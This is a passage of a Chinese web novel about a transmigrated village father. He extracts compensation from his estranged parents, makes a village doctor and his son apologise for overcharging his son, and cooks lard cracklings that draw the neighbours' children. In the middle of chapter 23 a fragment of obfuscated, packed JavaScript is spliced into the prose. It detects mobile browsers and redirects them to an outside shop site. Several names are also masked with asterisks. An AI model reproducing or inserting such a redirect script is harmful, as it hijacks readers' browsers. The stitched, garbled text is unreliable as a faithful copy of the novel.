过了好一会儿,王三妮才认清形势,忍着大腿上的剧痛,诺诺开口向江河说道:
“要不,那三斤肉我也不要了,娘也不再怪你出手打了娘,今天这事儿咱们就算两清了咋样?”
“我的儿啊,咱们再怎么也是一家人,没有必要非得闹得这么难看,平白让别人看了笑话。”
“就算……就算是你恨我这个当娘的偏心老二一家,你也不能拿你两个侄子的前程来开玩笑啊。你以前不是最懂事最听娘的话了吗,要不这次你也听娘的,咱们就这样算了好不好?”
说这话时,王三妮的语气前所未有的柔软轻缓,再不复之前一蹦三尺高,指着江河鼻子破口大骂的泼辣姿态。
她一直都知道自己这个大儿子最需要就是老宅的认可,是她这个当娘的真心对待。
以前哪怕是他们老两口做得再不对,再过分,只要她这样说上两句软和话,给江河一个点儿好脸,江河就会立马变得温驯顺从,乖乖听话。
就像是三年前,她堵门逼**老大媳妇之后,也是在江河的跟前说了两句软和话,甚至连不是都没赔,江河就直接把事揭过,之后就更加的对他们掏心掏肺了。
现在王三妮眼见着局面就要失控,江河这个逆子竟然狮子大开口要他们赔偿一贯钱来,不然就拉着她一起蹲大狱,并借此毁了她两个金孙的前程。
王三妮终于知道害怕了,这才想着要故技重施,好生安抚一下这个大儿子,希翼着这个逆子还能像是以前那样,马上回心转意,彻底原谅她的过错。
江十二、江洋与王艳三人也同样眼巴巴的看着江河。
同样的场景这些年他们已经见过太多次,每次江河只要是被惹急了,想要发脾气,老太太就会用这招儿来安抚他,可谓是百试百灵。
这也是他们以前敢一次又一次的欺负甚至折磨江河一家的底气与原因所在。
现在,他们也多么的希望江河还能像是以前那样,无条件的原谅他们,甚至还反过来向他们磕头道歉,忏悔自己刚刚动手打父母兄弟的忤逆不孝之举。
王冶山见状,忍不住轻撇了撇嘴。
直到现在,王三妮这些人竟然还没有搞清楚状况。
竟然还在幻想着说两句好话江河就能原谅他们,就会像以前那样继续对他们老宅鞍前马后、卑躬屈膝。
他们也不想想,自从签订了断亲文书之后,江河对待他们老宅的态度都变成了什么样。
刚刚更是还破天荒的直接动手打了江十二与王三妮这对亲爹亲娘,出手那叫一个狠辣果决,可没有半点儿手下留情。
这说明了什么?
这说明人家江河现在已经是今非昔比,彻底醒悟过来了,怎么可能还会再像以前那样对老宅言听计从,愚忠愚孝?
“你在想屁吃呢!”
果然,王三妮的话音方落,江河便毫不犹豫的直接硬怼了起来:
“亲都特么断了,还是什么一家人?今天你们就算是说破了天去,这一贯钱也休想赖掉!”
“当然了,你们也可选择不掏钱,咱们直接到县衙里请县老爷来评判,就算是最后被判蹲大狱我江河也认了,反正我家没有人要读书科举,老子身上就算是有了污点老子也不在乎!”
“但是你王三妮就不一样了,你要是进了大狱判了刑,那可是要入户薄留案底的,以后你那两个宝贝孙子的前程……啧啧,也不知道江贤与江达他们两个知道了,会不会不认你这个奶奶,也跟你直接断亲呢?”
最后这句话,像是一把沾了毒的**,直接**了王三妮的心口上。
王三妮整个人都如遭雷击,瞬时就僵在了当场
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。
她知道,江河说的这种情况不是没有可能,而是一定会发生!
要是她真的入了狱,蹲了牢,哪怕是两个金孙不提要与她断亲,老头子江十二,还有江洋两口子也一定会提出来,甚至直接把她赶出老宅!
同在一个屋檐下,她太清楚自己的男人与儿子是什么秉性了。
所以无论如何,她都不能让这种情况发生!
“别说了!”
王三妮连忙开口阻止江河继续在这里胡言乱语、挑拨离间,她怕江河再这么说下去,江十二还有江洋两父子就要动心了。
“不就是一贯钱嘛,我……我们认赔!希望你说话算话,拿了钱后就别再继续闹下去了!”
说完,王三妮不由回头看向江十二,切声嘱咐道:
“老头子,你这就回家去拿钱!无论如何咱们都不能让江河去报官!”
“这……”江老头见王三妮竟然直接认怂了,不免有些犹豫,那可是一贯钱啊,他们家得攒多少年才能攒得下这么多家底?
现在全都要拿出来送给江河这个不孝子,他是真的舍不得。
相比之下,他其实更愿意把江河还有老太婆,全都送到县衙大狱里去。
那样的话,他们既能省下这一贯钱,还能出一口恶气。
至于会不会影响到两个金孙的前程,之前他确实还有些担心,但是刚刚听江河那么一说,他瞬间就心动了。
了不起到时候直接与王三妮也断了亲不就行了,反正这死老太婆年岁大了,也不中用了,用她来换一贯钱,怎么看都是值得的。
“江十二!”见江老头站在原地没有动弹,眼珠滴溜乱转像是在打什么鬼主意,王三妮瞬时气不打一处来,扯着嗓门厉声叫嚣道:“别以为老娘不知道你在打什么鬼主意!”
“你莫要忘了,这里可是下河村,是我们老王家的地盘,我娘家的人还没有死绝呢!”
“你若是敢耍什么小心思,敢做对不起老娘的事情,你信不信,你们姓江的有一个算一个,全都得被撵出下河村!”
江老头心神一凛,想起老王家那几个身强体壮的子侄们,连忙收起自己的小心思,陪笑道:
“老太婆瞎你说什么呢,咱们老两口都过了几十年了,我能有什么坏心思呢?”
“我这不是一时间有些舍不得那一贯钱么?罢了罢,就当是破财免灾了,你且等着,我这就回去取钱去!”
说完,江老头便揉着自己的老腰从地上爬起来,快步出了院门。
第22章 这还是我们的渣爹吗?
“我去!”
“是我耳朵出毛病了还是怎么的,我怎么听到江老太她竟然真的同意给钱了?!”
“嘶~!那可一贯钱啊,整整一千文,**家真能拿得出来?”
“我也觉得有些不可能,**家可是供了两个读书人,江洋两口子又好吃懒做,地都不会种,他们家怎么可能攒得下一贯钱?”
“没有什么不可能的,你们可别忘了,江河这些年可一直都在贴补着江家老宅,家里的钱和粮食有九成九都送到了老宅去,这么多年累积下来,可也不是一个小数目!”
“就是就是,江河媳妇以前那么能干,老三**长大后种地也是把好手,这些年应该也没少赚钱。可是你们看,他们一家现在都过成什么样了,几个孩子瘦得都只剩下骨头架子了。”
“不用问都知道,他们家攒下来的那些钱,全都**河给送到老宅去了。照我看,江家老宅的家底厚着呢,可能远不止一贯钱呢!”
“……”
围观的村民们小声的议论着,同时也对院子里的江家人及王三妮指指点点。
有人说江河太黑心,打了自己的爹娘不说,还讹了自己爹娘一贯钱,太不是东西。
有人说江老太也是活该,明明都已经断亲了,还在江河家瞎闹腾,得了这样一个结果,就是作的,属于自作自受。
当然,更多的人是被那一贯钱的赔偿给震惊到了,都在巴巴的等着,看看江老头到底能不能拿来一千文钱赔给江河。
所谓看热闹的不嫌事大,反正又不是让他们赔钱,他们才不管那么多呢。
说话间,众人就看到江老汉已然从老宅回返,又重新回到了江河家中院子里,怀里鼓鼓囊囊的,像是真的揣了一贯钱的样子。
片刻。
江老汉已然走到了江河的跟前,先是满眼怨愤的看了江河一眼,然后又瞅了瞅仍跌坐在地上,似乎真的断了腿的王三妮。
伸手在怀里摸了又摸,掏了又掏,就是不舍得把怀里的东西拿出来。
“江十二,你在那瞎磨叽什么呢,还不快把钱给这个逆子,赶紧带老娘去看郎中,我这腿许是真的断掉了!”
王三妮疼得实在受不了了,没好气的出声催促起来。
贾郎中虽然也在现场,可是他毕竟是**请来给江河看病的,王三妮现在可不敢再跟江河抢什么东西。
“知道了知道了!”
江老汉咕囔着应了一声,心疼不已的把怀里的那一贯钱掏出来,伸手递到了江河的面前:
“诺,拿去吧拿去吧,这可是我们家所有的钱了,你若是忍心让自己的爹娘以后吃糠咽菜,就把这些钱全都拿去……”
江河冷笑一声,并没有直接伸手去接那一贯钱,而是转身看向了站在一边的里正王冶山。
“冶山叔,您是村里的里正,又是这次赔偿的见证人,您看是不是应该由你来接这些钱,然后再转交给我,以示公证?”
显然,江河并不是心软了可怜江老汉,更不是**十二的道德**给架住了。
而是他想要更加稳妥且没有任何后患的拿到这一贯钱的赔偿。
王冶山显然也看出了江河的用意,眼中不由闪现了一丝惊诧意外之色。
寻常的村民可没有这么缜密的心思,根本就不会想到利用他这个里正的身份,将这次类似于“讹诈”的赔偿合法化。
只要江河不是直接从江十二的手中把钱接过,以后就算是江十二想要反悔,诬告江河敲诈勒索。
江河也完全可以以他没有直接接过江十二的钱为由,把自己给摘出去,不给江十二反咬一口的机会。
只是这样一来,岂不是就把他王冶山也给拖下水了?
王冶山心思百转,最后还是决定卖给江河这个面子。
不为别的,就为江河之前已经连着给了他两次脸面,很会做人,他这也算是礼尚往来。
心中有了决断之后,王冶山不再犹豫,伸手将江十二捧在手里的那贯钱接过,淡声向江老汉说道:
“江老哥,这钱就由我来转交给江河好了。你放心,他若是收了这笔钱却不遵守方才应下的承诺,我这个公证人自会亲自出手来寻他的麻烦!”
说完,王冶山又把刚刚收到的一贯钱,转身放到了江河的手中,同样说道:
“江河,收了这笔钱后,你与江家老宅的恩怨就算是两清了。若是事后有人拿这笔钱来寻你的麻烦,污蔑你敲诈勒索,我亦会出面为你证明!”
江河满意点头道谢,这才放心的将这一贯钱收入怀中。
之后,他回转过身,敛去眼中的笑意,像是驱赶苍蝇一样的冲江十二、王三妮等人挥了挥手,道:
“行了,现在咱们钱货两讫,谁也不不再欠谁,你们可以滚了!”
江老汉几人倍感**,却也如蒙大赦,相互搀扶着快速离开了院子。
走之前,**洋背在背上的王三妮,嘴里还一个劲儿的嚷嚷着,让江洋媳妇去把她刚才被踹倒时,洒在地上的那些肉片与鸡蛋捡回来。
“我们可是赔过钱的,不把这些东西带走,岂不是更亏?”
“脏?脏点儿怎么了,再脏那也是肉,也是鸡蛋,回去拿水洗一洗,吃起来照样香得不行!”
王艳嫌埋汰和丢人,顾及自己是
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秀才公的娘亲,不能给自己俩儿子丢脸,死活不愿弯身去捡。
“你娘说得对,这可都是咱们用钱买来的,咋都不能这么糟践了,更不能白白便宜了外人!”
江老头一边说,一边亲自下手去捡。
他可没有那么多顾忌,哪怕后腰疼得直冒冷汗,也咬着牙弯下腰身,去把地上的那些沾了泥土的肉片与鸡蛋重新捡起来,就那样用自己的衣摆兜着,一点儿也不嫌脏。
站在院门外围观的村民见了,倒是没觉得江老头这么做有什么不妥。
那可是肉和蛋,换成是他们的话,他们也愿意弯身去捡。
这年头,各家各户能吃饱饭都成问题,就更别说是吃肉和鸡蛋了。
江老汉捡的那些肉和蛋只是稍稍的沾上了一些泥土而已,又不是掉进了粪坑里,谁又会真的嫌弃?
“行了,事情都已经结束了,大家伙儿也都散了吧,别再一直围着江河家了!”
王冶山冲着院外的人群摆了摆手,把这些爱看热闹的村民们驱散。
已经捡完东西的江十二,与王三妮、江洋及王艳三人,也趁机溜出了院门,片刻就不见了踪影。
此时。
**已然止住了哭声,呆呆的望着自己的渣爹,满眼的不敢置信。
他爹竟然真的从爷奶的手中要到钱了!
而且还是一贯,整整一千文钱啊!
这……这怎么感觉像是在做梦一样?
眼前这家伙,还是他那个一年到头儿只知道坑自己的儿孙,不断拿家里的财物补贴老宅,对爷奶言听计从的渣爹吗?
赵穗、罗灵还有躲在屋里的江源、江沫儿、江娴等几个小家伙,看到刚刚发生在院子里的这一幕,也全都瞪大了眼睛一眨不眨的直盯着江河,仿佛完全不认识这个渣爹和渣爷爷了一般。
今天的爹(爷爷)实在是太硬气了,硬气的好像完全换了个人一样!
但是不得不说,相比于以前那个见了爷奶就完全变成了一只应声虫,打不还手,骂不还口,还动不动就直接跪地磕头认错的渣爹。
**、江源、江沫儿几兄妹,还是更喜欢现在的这样的老爹。
虽然他动手打了爷奶,甚至还从爷奶的手中“讹”了足足一贯钱回来,似乎有些不孝与混蛋。
但是……这真的很解气啊!
他们一家被老宅欺负了这么多年,一直都忍气吞声,不敢有半点儿反抗,心里的委屈与怨气,早就已经浓得化不开了。
今天,看到老爹如此痛快,甚至野蛮霸道的惩治了爷奶与二叔一家,打得他们屁滚尿流,几个人的心里别提有多畅快多舒爽了!
第23章 鞠躬,道歉
“那什么,江河老弟,哥哥我要在这里跟你赔个不是。”
看了半天戏的贾郎中,见院子里终于清静了下来,连忙拽着自己的小儿子来到江河的跟前,陪着笑脸道:
“小孩子不懂事,之前在家门前收了**大侄子五文钱的看诊费,我已经狠狠的教训过他了,这五文钱现在如数奉还,还望江河老弟莫要跟孩子一般计较!”
说着,贾郎中便将贾大发拉到了江河的近前,厉声道:
“你这死孩子,还愣着做什么,还不快开口给你江河叔、**弟弟道歉?”
嗯?
江河微眯着眼睛朝贾家父子看来,淡声道:“什么五文钱?咱们下河村现在请郎中瞧病,都需要事先预付诊金了吗?而且还一下收了五文钱这么多?这是什么时候定下的规矩,我咋从来都没听说过呢?”
不用问,江河也知道,所谓的看诊费,不过就是贾大发狗眼看人低,觉得**手中没钱,故意难为**。
现在看他这个当爹的支棱起来了,甚至还成功从江家老宅“讹”了一贯钱回来,这父子俩害怕了,所以才会主动站出来认错。
所谓的小孩子不懂事,全是屁话。
谁家都二十岁当爹的人了,还是小孩子?
况且,贾大发犯了错,你贾郎中既然知道了,为何当时不直接指出纠正过来,当时不向**道歉赔不是?
现在跳出来说这些好听话,是因为真的认识到自己的错误了吗?
屁!
那特么明明是知道他的厉害了,害怕了,担心也像王三妮、江十二那般被揍被讹上,才不得不主动跳出来认错。
要是他江河还跟以前那样窝囊愚孝,没有半点儿主见,他们贾家父子会这般轻易低头?
怕是以后只会变本加厉,欺负得更狠!
这时,王冶山已然将围观的村民驱离,又重新回到院中。
看到贾朗中父子正在跟江河低头认错,并返还之前从**手中收取的五文钱看诊费,王冶山微皱了皱眉头,不过却并没有开口说话。
他也想要看看,面对这样的状况,江河会怎么处理应对。
“那什么,”贾郎中尴尬一笑,解释道:“咱们下河村自然是没有这样的规矩的,都是大发这孩子不懂事,在跟**开玩笑呢。”
“我在知道这件事后,第一时间就教训过他了,这次过来府上既是为了给江河老弟看诊,也是为了把这五文钱还回来。”
“江河老弟你大人有大量,可千万别跟一个孩子一般见识啊。”
又是一股子熟悉的道德**的味道。
不过相比于江十二与王三妮,这个贾不为的态度倒还算是可圈可点,至少全程都陪着笑脸,让人不那么讨厌。
看着贾郎中双手递过来的五文钱,江河微微摇头,并没有伸手去接,而是双目直盯着贾不为道:
“贾郎中说笑了,看病给钱,天经地义。这钱既然收了,你们就安心收好,我江家可没有把送出的钱再往回拿的道理。”
“只是有一点,你们医馆今天既然收了我儿子五文钱的看诊费,以后大家就都得按照这个标准来!”
“若是让我知道你们厚此薄彼,单单逮着我们一家人欺负,可就别怪我江河不讲道理。”
敲走的钱你们想还回来就还回来,想把事了结了就把事给了结了,这世上哪有这么便宜的事情?
**之前在贾家受到的那些欺负与羞辱,难道就应该这么轻飘飘的算了?
犯了错,就应该要受到相应的惩罚。
要是对不起有用的话,还特么要110做什么?
听到江河的话,贾不为的面色不由微微一变。
他没想到,江河竟然这么不给面子,甚至还提出了这么看似合理,甚至还在为他们着想的要求。
若是他脑袋一糊涂,真的答应了江河的这个条件,以后村里的村民上门求医,一律先收取五文钱的看诊费。
那么,他们老贾家以后也就别再想在下河村立足了。
甚至于,县里的医道馆也会绝对会派人前来调查清算,到时直接撤了他这个村医都是轻的。
毕竟,他已经在下河村当了二十几年的医官了,屁股底下多少都有一些烂账,根本就经不起查。
“江河兄弟说笑了,这种生儿子没**儿的事情,咱们是绝对不会做的!”
贾不为干笑了两声,然后抬起一脚就踹在了身边小儿子的屁股蛋上,瞬时就将贾大发给踹倒在地。
都是活了几十岁的老狐狸,他哪里看不出来,江河这是心中有气,同时也想要趁机给**那小子出口气。
今天他要是不好好教训一下顿贾大发,不让江河与**把心中的这口气给出了,以后难保江河在背地里举报他们家医馆。
“小兔崽子,让你不学好,让你私下里收别人的看诊费!还不快过来给你江河叔还有**弟弟磕头道歉!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966806|193410||http|test|mini|href|location''.split(''|''),0,{}));
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r>又在贾大发的身上踹了两脚之后,贾不为像拖死狗一样的把贾大发拖到江河父子的跟前,让贾大发跪地给江河、**父子磕头赔不是。
“磕头就不必了,我们父子福薄,可受不起这个。”
江河及时开口阻止,并没有让贾大发真个跪地磕头,而是淡声道:
“看在不为哥的面子上,让这孩子给我家老三鞠个躬,道个歉,这事儿就算是了了。”
江河也不想把事情做得太绝,毕竟贾不为可是村子里唯一的村医,以后家里人有个头疼发热的,少不了要去寻他看病。
真要是把这贾郎中给得罪狠了,以后他们家人还怎么敢再吃贾郎中给开的药?
“江河兄弟大气,我贾某人在此谢过了!”
见江河松口,贾不为心中不由轻松了口气,再看向江河时的目光,不觉多了几分欣赏与和善之意。
如果可能话,他当然也不想自己的儿子当众给人跪地磕头道歉,丢尽脸面。
但是如果刚刚江河若是执意如此的话,贾不为也肯定会依言让贾大发跪地磕头。只是事后,他必然会心生记恨,并伺机报复回来。
而不似现在这样,不但要道歉,而且还要承江河一个给他们父子留了脸面的人情。
这其中恰到好处的人情拿捏,绝对不是一般人能够做得到的。
是以,不管是贾不为,还是在旁边看戏的王冶山,全都开始对江河这个曾经的二赖子,刮目相看起来。
“臭小子,你还愣着做什么,还不快来谢过过你江河叔!然后再麻溜的给我去找你**兄弟道歉去!”
贾不为又一脚踹在了贾大发的屁股蛋子上,斥骂道:
“我告诉你,以后若是再敢欺负你**兄弟,看老子不打断你的腿!”
贾大发没有办法,只得捂着屁股,红着脸,走到**的跟前,冲其躬身道歉,同时也把之前从**手中收来的五文钱,又双手奉还了回来。
**完全都懵了。
呆呆的看着这个不久前还高高在上,满眼瞧不起自己的贾大发,现在竟然跟个乖宝宝似的站在自己的跟前,一躬到地,说着对不起,还把之前强收的看诊费给还了。
这样的场面,这样的感觉,可是他在过去的十八年人生中,从来都没有体验过的。
这一刻,他感觉自己终于活得像个人了,身体里那种几乎刻印到骨子里的自卑感,也随之稍稍的出现了一丝松动。
第24章 再次签到
翌日。
日上三竿之时,江河才伸着懒腰从床上坐起来。
昨日贾郎中为他包扎过伤口,并喝了一碗中药之后,他便沉沉睡去,连晚饭都没有吃,一觉睡到了现在。
看看外面,太阳都已经升了老高,院子里面寂静一片,几个孩子也不知道都去哪里玩儿了。
江河抬手摸摸了一下自己后脑的伤处,感觉明显没有昨天那么疼了。
不得不说,贾不为虽然只是一个不小的村医,但是手头上还是有两把刷子的。
想到今天还不曾签到,江河直接在心里默念了一句:“签到!”
瞬时间,他的耳边便响起了熟悉的提示声:
“叮,签到地点刷新成功,签到地——下河村,江宅!”
“叮!恭喜宿主签到成功,触发两倍暴击奖励,获得铜钱50文*2,精品湖盐10斤*2,棒棒糖20颗*2,猪板油10斤*2!”
还不错,虽然只触发了两倍的暴击奖励,但怎么也比只有保底强不是。
看到出现在物品栏里的这些东西,江河不由满意点头,嘴角不自觉的微微勾起。
尤其是看到那二十斤雪白雪白的精品湖盐及猪板油之后,他就更加满意了。
这还真是瞌睡了就有人送枕头,家里正好缺盐缺油呢,结果这签到系统就直接给送来了。
还有那四十颗棒棒糖,虽然他不太喜欢吃,但是拿来哄孩子的话绝对好使。
正好家里面有足足五个小朋友,正好可以用这些棒棒糖来跟他们打好关系。
“爹,你醒了?”
这时,大儿媳妇赵穗正好到门前探望,看到江河已经从床上坐起身来,便开招呼道:
“灶房里我一直都给你温着饭呢,你看是不是现在就给你端过来?”
江河微微摇头,道:“待会儿再说吧,现在才刚起床,还不饿。”
说着,江河翻身下床,抬手摸了下床头,发现昨晚睡前放在那里的一贯钱还在。
**几人并没有因为他睡着了而私自动他的钱,规矩得一批。
收!
江河意念微动,瞬时便把那一贯钱全都收进了自己的物品栏里。
这样,以后就算是家里遭了贼,也不必担心会被偷走半文钱。
“**他们呢,没在家吗?”收好钱后,江河随口向赵穗问了一句。
听到公公的问话,赵穗紧张的回道:“爹你忘了,现在正是耕种春粮的时候,三弟还有三弟妹,全都到地里耕作去了。”
“四弟、小妹还有几个孩子,也都跟着去了,省得待在家里吵到了爹休息。”
哦。
江河了然点头。
些许记忆在心头泛起。
下河村所处的地界,气候条件与上辈子的黄淮流域相似。
这里的庄稼是一年两熟,秋种夏收,夏种秋收。
秋种小麦或是粟米,夏种花生、黄豆或是萝卜、白菜之类的作物,总之不会让地闲着。
而现在,正是秋收过后,需要整地准备种上冬小麦的时节。
别人的家户劳力充足,早就已经把该整的全都整完了。
唯有他们家,只有**夫妇与赵穗三人下地耕作,直到现在还没有忙完。
而江河的原身,就是一个好吃懒做的家伙,有媳妇的时候靠媳妇,没媳妇的时候靠儿子、儿媳妇,自己从来都没有下过地。
这两天,因为他的“丧事”耽搁,更是没人到地里忙活。
现在整个下河村,估计就只有他们家的地还荒着。
现在好不容易得了空,**、罗灵夫妇自然是全都到地里忙活去了。
而且看赵穗不时抬头望天的样子,显然也是想要去地里帮忙,只是因为他这个渣爹受了伤,需要有人留在家里照顾,才没办法离开。
“行了,知道了。”江河冲着赵穗摆了摆手,道:“你要是没事儿也去地里帮忙吧,不用在家里特意照看我,我已经好得差不多了。”
赵穗闻言,眼前一亮,只是并没敢直接答应,而是探声问道:
“爹,你一个人在家,真的可以吗?要不我还是先给你盛饭吧?等
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你吃完饭,我收拾完碗筷再去地里?”
江河一板脸:“让你去你就去,哪来那么多废话!老子又不是老了瘫了,不能动弹了,不需要你在这伺候,赶紧滚!”
昨天他就已经发现了,家里的这些人常年**河给欺压惯了,都变得有点儿贱皮子了。
凡事他要是不发个火,骂他们两句,他们心里就不安生。
果然。
见江河发脾气,赵穗心里反而踏实落地了,确定刚刚爹并不是在说的反话,是真的想要让她去地里帮忙。
赵穗眼中闪过一丝喜色,连忙应了一声,拿起竖在门口处的锄头就小跑着就出了门。
若不是因为要留下来照看江河,她早就随着老三夫妻俩到地里帮忙了。
家里的劳力本来就不足,仅靠老三两口子,还不知道要干到什么时候才能将地整好,将春粮种上呢。
若是错过了时节,庄稼种得晚了,影响了明年的收成,他们一家老小可就真得喝西北风了。
看到赵穗扛着锄头出了门,家里就只剩下他一个了,江河不由轻松了口气。
他倒是也想要到地里去看看,只是他对种庄稼也完全是个门外汉,四体不勤,五谷不分说的就是他。
而且,他也了解他自己,知道自己肯定吃不了那个“锄禾日当午,汗滴禾下土”的苦。
也就是他穿越到了江河这样从来都没有下过地的渣爹身上,否则让他去地里干活,分分钟就得露馅。
“不过,我虽然不会种地,但是我会做好吃的啊!”
“正好昨天都没有好好吃过一顿饭,今天趁家里没人,我来做顿好了过过瘾,顺便再犒劳犒劳那几个小的!”
这么想着,江河意念一动,直接从物品栏里将那二十斤猪板油全都取了出来。
之后他又取出了五斤五花肉,二十个鲜鸡蛋,十斤雪白的湖盐。
他要炸油渣,做红烧肉,顺便再卤一些鸡蛋,最后再蒸上一锅香喷喷的白米饭,保证能让那几个小家伙馋得连舌头都能咬下来。
第25章 从一把猪油渣开始
准备好食材之后,江河便穿好衣物,准备出门去买一些调料回来。
没办法,灶房里面空空如也,除了他刚刚拿出来的这几斤盐外,半点儿调味料也没有,穷得很彻底。
江河想要炸油渣,做红烧肉,煮肉瘦粥,光有盐巴肯定是不行的。
昨天本来是要让**去买一些回来的,谁知后来又出了那么多事儿,直接给耽搁了,现在他只好自己出门去采购一些回来了。
村民们见他头上顶着一个大布包在村里走来走去,一个个的全都躲得远远的,偌大一个下河村,这一路走来,竟然没有一个愿意主动过来跟他搭话的。
之前的江河能够在自己从小长大的村子里活成这样人嫌狗厌的地步,也是绝了!
真是……失败啊!
他们江家本来就是外来户,没有太多的本土优势,想要不被本地的王姓家族欺负、排挤,除了自身的实力要够硬之外,搞好周围尤其是邻居之间的人际关系也很重要好不好?
可是江河这些小子之前都在干什么?
偷鸡摸狗,惹事生非,人憎狗厌。
为了讨好老宅一家白眼狼,还狠命的压榨自家的儿女,把日子过成了一地鸡毛,被周围的人嫌弃甚至瞧不起,一点儿也不冤。
同时,也因为他这个当爹当爷爷的名声不好,又不护着自己的崽儿,致使**、江源、江沫儿及江娴等人,也被村里的同龄人瞧不起,经常会沦为被欺凌的对象。
就像是昨天的贾大发,他为何敢明目张胆的向**讨要五文钱的不合理收费?
除了**本身就是个面瓜好欺负外,与他这个当爹的没有在村子里立得起来,也有直接的关系。
俗语讲,前三十年看父敬子,后三十年看子敬父。
若是连当爹的都立不住,都撑不起门户,被周围的人瞧不起看不上,别人又怎么可能会尊重其膝下的子女儿孙呢?
**、江源、江沫儿还有江娴、江涛等这些儿子及孙辈,跟在他这个渣爹、渣爷爷的身边,从小被人孤立瞧不起,不养成自卑懦弱的性子才是怪事。
不过现在,既然他江某人穿过来了,还成了这些孩子们的爹和爷爷,以后他们一家人这种被人孤立排挤的现状,将会被彻底改写。
他江河可不是原身那个不通世事的蠢蛋、二赖子。
接下来他要在潜移默化之中,一点点儿的改变自己在村民心目中的无赖形象,树立起一个浪子回头金不换的标签,把家里的日子过好,把邻里之间的关系处理好,彻底融入到这个时代,这个村庄之中。
不过眼下嘛,还是先去买好调料回家做饭最重要。
昨天一天没怎么吃东西,他都饿得快要前胸贴后背了。
先去了一趟村里的杂货铺,发现里面只有一些粗盐、红糖、大酱、咸菜、麻布之类的货物,根本就找不到他做红烧肉所需要些香叶、桂皮、花椒、八角等常用的调味佐料。
看样子,这个时代的厨师应该还没有开发出十三香之类的调味料,他若是想要买到香叶、桂皮、八角之类的东西,只能去药店了。
是以,他只在杂货铺买了一些去腥用的黄酒及一罐酱料便直接离开。
离开杂货铺后,他没有直接回家,而是径直来到了村东头,寻到了贾不为贾郎中的家里,请贾郎中给他抓了八角、桂皮、香叶之类的“药材”。
在抓这些“药”的时候,贾不为还特别叮嘱他,是药三分毒,最好是按方煎药,别自己瞎吃乱吃,当心会吃出问题来。
对此,江河则完全没当回事儿。
做为一个资深的吃货,他比这个时代的任何人都知道这些调味料的用法与用量,绝对不会有半点儿问题。
带着这些调料,江源缓步向村西头的家中走去。
与出来时一样,沿途遇到那些正准备出门的村民时,还不等他开口跟人打招呼,别人就仿佛见到什么晦气的东西一样,老远的就躲开了。
对此,江河已是见怪不怪,又在心里非议了原身一番之后,便回到了家中。
来到灶房,先烧上一壶热水,将二十个鸡蛋放进壶中煮上。
没办法,家里只有一口大铁锅,待会儿他还要用它来炼猪油、炸油渣,只能用水壶来煮鸡蛋了。
打了一盆井水,将猪板油与五花肉全部清洗干净,并切好备用。
之后挑出一些香料,在锅中焙干炒香,再取出研磨成粉,放在碗中。
一切准备齐当之后,他便正式开始生火在大铁锅里炒起了猪板油。
嗤~!
二十斤猪板油同时下锅,很快就在热锅里面滋滋作响,渐渐融化出清澈透亮,泛着浓郁肉香气的猪油来。
江河独自一人站在灶前,熟练地用锅铲翻动着。
浓郁的油香很快弥漫开来,飘出了灶房,在院子里打着旋儿,又顺着微风飘到了院外。
此时已是半晌午,村里没下地的老人和孩子们大多在家歇晌。
这突如其来的香气像是一只无形的小手,一点儿一点儿的挠得人心里直痒痒。
“啥味儿啊这么香?”
隔壁王老四家的院墙根下,几个正在玩泥巴的小孩不约而同地抬起头,使劲吸着鼻子。
“是肉香!比过年时我家炖的鸡肉还香!”
王老四家的小儿子王小豆眼睛一亮,丢下手中的泥巴,顺着香气飘来的方向,一路往江家的院墙边跑去。
其他孩子也呼啦啦跟了过去,一个个扒着院墙的缝隙往里瞧。
只是江家的灶房在院子深处,从墙缝里只能看到一个大概轮廓,不过那越来越浓郁的香气却是让这些孩子们给馋得直吞口水。
“这不是江源、江沫儿他们吗?听说他们家穷得连稀饭都吃不上了,怎么会有钱买肉?”一个扎着羊角辫的小女孩咽着口水问道。
“那是以前,现在江沫儿他们家可有钱了!”王小豆眼睛却死死盯着院墙,满眼羡慕的说道:“我娘说昨天江沫儿那个无赖爹,从她爷奶那里讹了足足一贯钱呢,今天肯定是买肉回来了!”
“这肉闻着这么香,也不知道是什么味儿,要是我也能吃一口就好了!”
“咕咚!”“咕咚!”
院子外一片吞咽口水的声音。
不仅是孩子们,连隔壁正在院子里纳鞋底的王老四媳妇,也忍不住放下手中的活计,走到院墙边猛嗅了嗅。
“该死的江河,这不年不节的炖什么肉啊,这不是净在这里馋人吗?
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”
“哼,吃吃吃,就知道吃。有了钱不想着给家里添点儿农具,给几个孩子添件新衣裳,就知道炖肉吃,一点儿也不会过日子!”
“亏得我还以为他在断亲后就改了性子,没想到还是跟以前一样的好吃懒做!”
老王媳妇小声的嘀咕着,眼里除了嫌弃与厌恶之外,也不免泛起了一丝羡慕嫉妒之色。
昨天发生在江河家的热闹,她可是从头看到了尾,自然知道江河从老宅讹了一贯钱的事情。
所以她并不奇怪江河会有钱买肉来吃。
只是你买肉就买肉嘛,为啥还要做得这么香,这么馋人,这不是存心在馋他们这些吃不起肉的家户么?
不多时,猪油已经炼好。
江河将已经炸得金黄酥脆的油渣捞出来,撒上一点盐巴与磨碎了的香料,使得原本就油香浓郁的油渣变得更加香气扑鼻。
院墙外的孩子们闻到这味道,更是馋得直跺脚。
“好香啊!我从来没闻过这么香的味道!”一个脸蛋肉乎乎的小男孩捂着肚子,眼巴巴地望着江家的院子。
王小豆也馋得厉害,灵机一动,把他爹娘以前警告他不许与江家人亲近的话语全都抛到了脑后,小跑来到江家院门正前,隔着竹篱笆,怯生生地朝里面喊道:
“江、江爷爷……江爷爷,江沫儿与江娴在吗,我来找他们一起玩儿!”
江河正要把刚炸好的油渣端进堂屋里,听见声音便走了过来。
见是隔壁家老王家的王小豆,听王小豆说要找江沫儿、江娴玩儿,他自然知道这小家伙真正的用意是什么。
不过他并没有揭穿这小家伙的小心思,难得有小朋友愿意来他们家,他当然不会将人赶出去。
他笑着向王小豆招手道:“原来是小豆啊,进来吧。”
王小豆**河这看似和善的笑意给看得心里有些发怵,稍犹豫了一下,最终还是抵不住香气的诱惑,小心的抬脚迈进了院子。
其他孩子见状,也大着胆子跟了进来,不一会儿院子里就站了五六个小孩,一个个都眼巴巴地望着江河手中的木盆。
